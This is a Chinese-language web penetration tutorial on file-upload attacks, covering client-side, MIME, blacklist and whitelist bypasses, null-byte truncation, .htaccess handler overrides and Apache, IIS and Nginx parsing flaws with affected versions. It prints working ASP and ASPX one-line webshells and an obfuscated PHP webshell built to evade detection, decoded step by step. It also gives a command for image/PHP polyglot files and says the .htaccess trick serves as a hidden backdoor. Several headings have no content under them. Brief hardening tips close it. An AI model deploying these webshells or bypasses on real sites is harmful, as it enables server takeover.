Web站点一般会有用户注册的功能,当用户注册之后,大多数情况下都会存在类似头像上传等个性化的设置,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在Web渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个Web业务控制权,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:
这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
function check()
{
var filename = document.getElementById("file");
var str = filename.value.split(".");
var ext = str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
{
return true;
}
else
{
alert("仅允许上传png/jpeg/gif类型的文件!")
return false;
}
return false;
}
判断该类检测的方法:选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测,进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)。
绕过方法:
服务器端检测文件MIME类型可能的代码如下:
绕过方法:
上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,该方法一般asp系统用比较多。
例如path参数为如下“upfile/”,可以尝试修改为“upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;.”,注意观察返回的文件名。返回的文件名可能为:upfile/1.asp;.201704117886.jpg,满足IIS6.0解析漏洞。
黑名单检测:
黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如
html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh等等。
白名单检测:
仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止。
绕过方法:
伪代码如下:
Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里
操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。
SetHandler application/x-httpd-php
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。
如果文件内容检测设置的比较严格,那么上传攻击将变得非常困难。以最常见的图片类型内容检测举例。
通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。
一个文件名为xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
以上集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对php3文件按照php来解析这个小洞。该方法针对黑名单不全时,能够绕过。
总结存在该漏洞的Apache版本:
Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17
a.文件类型
正常:www.xxx.com/logo.jpg
触发漏洞:www.xxx.com/logo.asp;.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)
b.文件夹类型
正常:www.xxx.com/image/logo.jpg
触发漏洞:www.xxx.com/image.asp/logo.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。
目前Nginx主要有这两种漏洞:
a.一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
b.低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的。
从攻击者的角度来给上传分类:
轻量级检测绕过
a.绕过前端JavaScript检测:使用Burp抓包改包。
b.绕过服务器端MIME类型检测:使用Burp抓包改包。
路径/文件扩展名检测绕过
a.黑名单检测方式
文件名大小写绕过;
名单列表绕过;
特殊文件名绕过;
0x00截断绕过;
.htaccess文件攻击;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
b.白名单检测方式
0x00截断绕过;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
php :
:
asp : <% eval request(“lzx”)%>
aspx : <%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>
php过狗一句话:
分析:
$zk = "str_replace";
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
= str_replace("z", "", "zbazsze64_zdzeczodze")
= "base64_decode"
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
= str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")
= "create_function"
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
= create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)))
= create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx)))
= create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=)))
= create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs="))
= create_function('', "@eval($_POST['i0nAy']);")
过狗一句话总结为:打乱字符;编码技术;拆分组合;创建,匹配。
命令:
copy /b 1.jpg+2.php
1.关掉上传文件的功能
如果Web应用程序不需要上传文件的功能,则可以直接将上传文件的功能关闭来避免不必要的麻烦。打开“php.ini”文件,找到file uploads的位置,将file_uploads设置成Off。
2.限制能够上传的文件大小
如果黑客采取连续不断地上传文件,或是上传极大的文件,来使Web应用程序没有更多资源来处理其他来访者的请求,黑客就可以借此来瘫痪网站。PHP的限制机制可以让您限制允许上传文件体积的最大值,来避免来访者上传太大的文件。单独POST请求的最大值,可以使用php.ini文件的upload_max_size来设置。打开“php.ini”文件,找到upload_max_size的位置,将upload_max_size设置成想要的值。
3.检查上传文件的类型
4.检查上传文件的内容
5.上传的文件不要保存在公开的文件夹内,以避免被黑客直接读取。另外将文件的路径隐藏起来,或是将文件名称改成没有扩展名的随机文件名,都可以增加上传文件的安全性。
1.上传jpg文件,抓包修改文件类型为脚本格式(asp、aspx、php、jsp等)。
2.有些应用检测上传文件类型时,通过文件名中的第一个‘.’来分割文件后缀名,所以可以尝试上传xxx.jpg.php(asp、aspx、jsp等)。